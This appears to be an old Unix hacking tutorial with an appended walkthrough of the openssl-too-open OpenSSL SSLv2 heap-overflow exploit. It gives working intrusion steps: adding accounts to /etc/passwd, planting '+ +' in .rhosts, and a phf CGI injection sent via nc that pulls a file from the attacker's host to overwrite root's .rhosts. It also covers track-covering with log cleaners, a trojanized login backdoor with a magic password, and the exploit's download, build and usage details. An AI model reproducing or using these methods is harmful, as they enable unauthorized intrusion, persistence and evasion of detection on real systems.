1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
1 drwx------   3 test     100          1024 Oct  8 21:05 test/
1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/
```

To hack into rapper's home.
mysite:~>id
uid=0 euid=0
mysite:~>whoami
root
mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

We use /bin/csh because bash leaves a .bash_history and you might forget it on the remote server.

mysite:~>su - rapper
Welcome to rapper's user. mysite:~>ls -lsa /tmp/mount/ total 9

```
1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/
```

So we own this guy's home directory...
mysite:~>echo "+ +" > rapper/.rhosts
mysite:~>cd /
mysite:~>rlogin victim1.site.com
Welcome to Victim.Site.Com.
SunOs ver....(crap).
victim1:~$

This is the first method..

Another method could be to see if the site has an open 80 port. That would mean that the site has a web page. NMAP is a scanner that does even stealth scanning, so lots of systems won't record it.

We should be very careful with the below exploits, because they usually get logged. Besides, if you really want to get a source file from /cgi-bin/ use this syntax :
lynx http://www.victim1.com//cgi-bin/finger

If you don't want do that, then do a :
mysite:~>echo "+ +" > /tmp/rhosts mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+ /root/.rhosts" | nc -v -20 victim1.site.com 80
then
mysite:~>rlogin -l root victim1.site.com
Welcome to Victim1.Site.Com.
victim1:~# Or, maybe, just try to find out usernames and passwords...

The usual users are "test", "guest", and maybe the owner of the site. If the site is really old, use that (quote site exec) old bug for wu.ftpd.

There are a lot of other exploits, like the remote exploits (innd, imap2, pop3, etc...) that you can find at rootshell.connectnet.com or at dhp.com/~fyodor. if you can finger the site, you can figure out usernames and maybe by guessing passwords one could get access to the site.

Step 2: Hacking root.

A big bug for all linux versions is mount/umount and (maybe) lpr.

```
SENDMAIL exploit: SENDMAIL Exploit for Linux
```

SUNOS: Rlogin exploit:

Step 3: Covering the tracks:

For this one could use lots of programs like zap, utclean, and lots of others...
Watch out, ALWAYS after you cloaked yourself to see if it worked do a: victim1:~$ who
...(crap)...
victim1:~$ finger
...;as;;sda...

victim1:~$w
...

If you are still not cloaked, look for wtmpx, utmpx and other stuff like that. The only cloaker (that I know) that erased me even from wtmpx/utmpx was utclean. But I don't have it right now, so ZAP'll have to do the job. Will Fill the Wtmp and Utmp Entries corresponding to the entered Username. It also Zeros out the last login data for the specific user, fingering that user will show 'Never Logged In'

Step 4: Keeping that account.

This usually means that you'll have to install some programs to give you access even if the root has killed your account...
(DAEMONS!!!) =>|-@

Here is an example of a login daemon from the DemonKit (good job, fellows...) LOOK OUT !!! If you decide to put a daemon, be careful and modify it's date of creation. (use touch --help to see how!)

This is a simple trojanized login program, this was designed for Linux and will not work without modification on linux. It lets you login as either a root user, or any ordinary user by use of a 'magic password'. It will also prevent the login from being logged into utmp, wtmp, etc.

You will effectively be invisible, and not be detected except via 'ps'.
So if you really want to have root access and have access to console, reboot it (carefully, do a ctrl-alt-del) and at lilo prompt do a :

init=/bin/bash rw (for linux 2.0.0 and above (I think)).

For a detailed description refer to:
http://www.undergroundnews.com/files/texts/underground/hacking/beginguide.htm

Appendix-IV

How to attack systems

Introduction

The following document covers an example of how a server intrusion can be carried out by an attacker using freely available exploits over the Internet. The example that we will use is a RedHat 7.1 Web server-running Apache with Open SSL installed by default.

What is Open SSL

The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. The project is managed by a worldwide community of volunteers that use the Internet to communicate, plan, and develop the OpenSSL toolkit and its related documentation.

Vulnerability Description

A Buffer overflow in OpenSSL 0.9.6d and earlier, and 0.9.7-beta2 and earlier, allows remote attackers to execute arbitrary code via (1) a large client master key in SSL2 or (2) a large session ID in SSL3."The vulnerability is in handling of the "malformed key during the handshake process with an SSL server connection using the SSLv2 communication process. The flaw is the buffer overflow vulnerability in the buffer used to store the initial SSL key.

Exploit Details

The exploit opensshl-too-open.c sends a specially crafted key during the SSL handshake that overflows the buffer and gives its user a non-root (typically) shell from the SSL enabled web server, such as Apache. Technically, the exploit is a heap overflow, which overflows the data structure within a program, which is not present on stack, but instead allocated from a memory heap.

Heap Overflows

Heap overflow is an attack performed by overflowing a memory structure located in the main memory (not on stack). The complicated part of such attacks is in giving the control to the attacking process. It is usually accomplished by tweaking the return function pointers so that the process “returns” to a predefined address of the attack code, such as a shell. Heap overflow attacks bypass the non-executable stack protection, implemented at some UNIX/Linux systems.

Exploit Availability

The exploit can be downloaded from the following link: -

http://packetstormsecurity.nl/0209-exploits/openssl-too-open.tar.gz

Compiling the Exploit

The exploit can be compiled in the following steps
tar xvzf openssl-too-open.tar.gz
cd openssl-too-open
make
./openssl-too-open to execute the exploit

Execution output of the exploit

```
 openssl-too-open : OpenSSL remote exploit
 by Solar Eclipse <solareclipse@phreedom.org>

Usage: ./openssl-too-open [options] <host>
 -a <arch>        target architecture (default is 0x00)
 -p <port>        SSL port (default is 443)
 -c <N>            open N apache connections before sending the shellcode (default is
30)
 -m <N>           maximum number of open connections (default is 50)
 -v             verbose mode

Supported architectures:
        0x00 - Gentoo (apache-1.3.24-r2)
        0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
        0x02 - Slackware 7.0 (apache-1.3.26)
        0x03 - Slackware 8.1-stable (apache-1.3.26)
        0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
        0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
        0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
        0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
        0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
        0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
        0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
        0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
        0x0c - SuSE Linux 7.0 (apache-1.3.12)
        0x0d - SuSE Linux 7.1 (apache-1.3.17)
        0x0e - SuSE Linux 7.2 (apache-1.3.19)
        0x0f - SuSE Linux 7.3 (apache-1.3.20)
        0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x11 - SuSE Linux 8.0 (apache-1.3.23)
        0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
        0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)

Examples: ./openssl-too-open -a 0x01 -v localhost
        ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80
```

The Attack

The attack is carried out in the following steps using the openssl-too-open.c:-

The exploit Initiates an SSL v.2 connection from the client side

It then sends a specially crafted MASTER KEY value and overflows the data structure, which stored the key on the server side. As a result, the data is written over the structure containing the SSL session data.

The SSL connection process is then continued. The first obstacle that needs to be overcome is that the connection ID is overwritten and the data structure contains the new value that should be guessed right (otherwise the connection is closed)

The attack code then uses the next message in the protocol
(SERVER_FINISHED) to determine the desired location of the shell code. The code overwrites the contents of the KEY_ARG structure. Then, knowing the typical memory allocation procedure one can find where the data will be placed.

The exploit sends more requests to the web server to force it to fork (30-50 requests is usually enough). It uses the fact that forked children have the same memory layout. On the subsequent connection the exploit uses the address location knowledge obtained during the previous connection.

This results in giving the control to a shell code and spawning the shell.